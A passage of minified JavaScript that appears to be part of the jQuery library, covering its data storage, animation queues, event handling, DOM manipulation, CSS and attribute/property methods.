z(){r.removeEventListener("DOMContentLoaded",z),e.removeEventListener("load",z),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",z),e.addEventListener("load",z));var _=function(e,t,n,r,i,o,a){var u=0,s=e.length,l=null==n;if("object"===b(n)){i=!0;for(u in n)_(e,t,u,n[u],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;u<s;u++)t(e[u],n,a?r:r.call(e[u],u,t(e[u],n)));return i?e:l?t.call(e):s?t(e[0],n):o},U=/^-ms-/,V=/-([a-z])/g;function X(e,t){return t.toUpperCase()}function Q(e){return e.replace(U,"ms-").replace(V,X)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=w.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[Q(t)]=n;else for(r in t)i[Q(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][Q(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(Q):(t=Q(t))in r?[t]:t.match(I)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var K=new G,J=new G,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}J.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return J.hasData(e)||K.hasData(e)},data:function(e,t,n){return J.access(e,t,n)},removeData:function(e,t){J.remove(e,t)},_data:function(e,t,n){return K.access(e,t,n)},_removeData:function(e,t){K.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=J.get(o),1===o.nodeType&&!K.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=Q(r.slice(5)),ne(o,r,i[r]));K.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){J.set(this,e)}):_(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=J.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){J.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){J.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=K.get(e,t),n&&(!r||Array.isArray(n)?r=K.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return K.get(e,n)||K.access(e,n,{empty:w.Callbacks("once memory").add(function(){K.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,u=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=K.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(u));return u(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},ue=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function se(e,t,n,r){var i,o,a=20,u=r?function(){return r.cur()}:function(){return w.css(e,t,"")},s=u(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+s)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){s/=2,l=l||c[3],c=+s||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=u()/s||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+s||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=K.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",K.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var de=/^(?:checkbox|radio)$/i,pe=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&D(e,t)?w.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)K.set(e[n],"globalEval",!t||K.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function be(e,t,n,r,i){for(var o,a,u,s,l,c,f=t.createDocumentFragment(),d=[],p=0,h=e.length;p<h;p++)if((o=e[p])||0===o)if("object"===b(o))w.merge(d,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),u=(pe.exec(o)||["",""])[1].toLowerCase(),s=ge[u]||ge._default,a.innerHTML=s[1]+w.htmlPrefilter(o)+s[2],c=s[0];while(c--)a=a.lastChild;w.merge(d,a.childNodes),(a=f.firstChild).textContent=""}else d.push(t.createTextNode(o));f.textContent="",p=0;while(o=d[p++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var xe=r.documentElement,we=/^key/,Ce=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Te=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function Ne(){return!1}function ke(){try{return r.activeElement}catch(e){}}function Ae(e,t,n,r,i,o){var a,u;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(u in t)Ae(e,u,n,r,t[u],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Ne;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,u,s,l,c,f,d,p,h,g,v=K.get(e);if(v){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(xe,i),n.guid||(n.guid=w.guid++),(s=v.events)||(s=v.events={}),(a=v.handle)||(a=v.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(I)||[""]).length;while(l--)p=g=(u=Te.exec(t[l])||[])[1],h=(u[2]||"").split(".").sort(),p&&(f=w.event.special[p]||{},p=(i?f.delegateType:f.bindType)||p,f=w.event.special[p]||{},c=w.extend({type:p,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(d=s[p])||((d=s[p]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(p,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?d.splice(d.delegateCount++,0,c):d.push(c),w.event.global[p]=!0)}},remove:function(e,t,n,r,i){var o,a,u,s,l,c,f,d,p,h,g,v=K.hasData(e)&&K.get(e);if(v&&(s=v.events)){l=(t=(t||"").match(I)||[""]).length;while(l--)if(u=Te.exec(t[l])||[],p=g=u[1],h=(u[2]||"").split(".").sort(),p){f=w.event.special[p]||{},d=s[p=(r?f.delegateType:f.bindType)||p]||[],u=u[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=d.length;while(o--)c=d[o],!i&&g!==c.origType||n&&n.guid!==c.guid||u&&!u.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(d.splice(o,1),c.selector&&d.delegateCount--,f.remove&&f.remove.call(e,c));a&&!d.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||w.removeEvent(e,p,v.handle),delete s[p])}else for(p in s)w.event.remove(e,p+t[l],n,r,!0);w.isEmptyObject(s)&&K.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,u,s=new Array(arguments.length),l=(K.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(s[0]=t,n=1;n<arguments.length;n++)s[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){u=w.event.handlers.call(this,t,l),n=0;while((o=u[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,s))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,u=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<s;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&u.push({elem:l,handlers:o})}return l=this,s<t.length&&u.push({elem:l,handlers:t.slice(s)}),u},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ke()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===ke()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&D(this,"input"))return this.click(),!1},_default:function(e){return D(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:Ne,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:Ne,isPropagationStopped:Ne,isImmediatePropagationStopped:Ne,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Ce.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return Ae(this,e,t,n,r)},one:function(e,t,n,r){return Ae(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Ne),this.each(function(){w.event.remove(this,e,n,t)})}});var De=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Se=/<script|<style|<link/i,Le=/checked\s*(?:[^=]|=\s*.checked.)/i,je=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function qe(e,t){return D(e,"table")&&D(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function Oe(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Pe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function He(e,t){var n,r,i,o,a,u,s,l;if(1===t.nodeType){if(K.hasData(e)&&(o=K.access(e),a=K.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}J.hasData(e)&&(u=J.access(e),s=w.extend({},u),J.set(t,s))}}function Ie(e,t){var n=t.nodeName.toLowerCase();"input"===n&&de.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,u,s,l,c,f=0,d=e.length,p=d-1,v=t[0],y=g(v);if(y||d>1&&"string"==typeof v&&!h.checkClone&&Le.test(v))return e.each(function(i){var o=e.eq(i);y&&(t[0]=v.call(this,i,o.html())),Re(o,t,n,r)});if(d&&(i=be(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(s=(u=w.map(ve(i,"script"),Oe)).length;f<d;f++)l=i,f!==p&&(l=w.clone(l,!0,!0),s&&w.merge(u,ve(l,"script"))),n.call(e[f],l,f);if(s)for(c=u[u.length-1].ownerDocument,w.map(u,Pe),f=0;f<s;f++)l=u[f],he.test(l.type||"")&&!K.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(je,""),c,l))}return e}function Be(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ve(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(De,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,u=e.cloneNode(!0),s=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ve(u),r=0,i=(o=ve(e)).length;r<i;r++)Ie(o[r],a[r]);if(t)if(n)for(o=o||ve(e),a=a||ve(u),r=0,i=o.length;r<i;r++)He(o[r],a[r]);else He(e,u);return(a=ve(u,"script")).length>0&&ye(a,!s&&ve(e,"script")),u},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[K.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[K.expando]=void 0}n[J.expando]&&(n[J.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Be(this,e,!0)},remove:function(e){return Be(this,e)},text:function(e){return _(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||qe(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=qe(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return _(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Se.test(e)&&!ge[(pe.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ve(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),u.apply(r,n.get());return this.pushStack(r)}});var Me=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),We=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},$e=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",xe.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,s=12===n(t.marginLeft),c.style.right="60%",u=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",xe.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,u,s,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),u},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),s},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,u=e.style;return(n=n||We(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&Me.test(a)&&$e.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function ze(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var _e=/^(none|table(?!-c[ea]).+)/,Ue=/^--/,Ve={position:"absolute",visibility:"hidden",display:"block"},Xe={letterSpacing:"0",fontWeight:"400"},Qe=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Ge(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Qe.length;while(n--)if((e=Qe[n]+t)in Ye)return e}function Ke(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Ge(e)||e),t}function Je(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,u=0,s=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(s+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(s-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(s-=w.css(e,"border"+oe[a]+"Width",!0,i))):(s+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?s+=w.css(e,"border"+oe[a]+"Width",!0,i):u+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(s+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-s-u-.5))),s}function et(e,t,n){var r=We(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(Me.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,u=Q(t),s=Ue.test(t),l=e.style;if(s||(t=Ke(u)),a=w.cssHooks[t]||w.cssHooks[u],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[u]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(s?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,u=Q(t);return Ue.test(t)||(t=Ke(u)),(a=w.cssHooks[t]||w.cssHooks[u])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Xe&&(i=Xe[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!_e.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):ue(e,Ve,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=We(e),a="border-box"===w.css(e,"boxSizing",!1,o),u=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(u-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),u&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Je(e,n,u)}}}),w.cssHooks.marginLeft=ze(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-ue(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Je)}),w.fn.extend({css:function(e,t){return _(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=We(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}}),w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var tt,nt=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return _(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?tt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&D(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(I);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),tt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=nt[t]||w.find.attr;nt[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=nt[a],nt[a]=i,i=null!=n(e,t,r)?a:null,nt[a]=o),i}});var rt=/^(?:input|select|textarea|button)$/i,it=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return _(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return 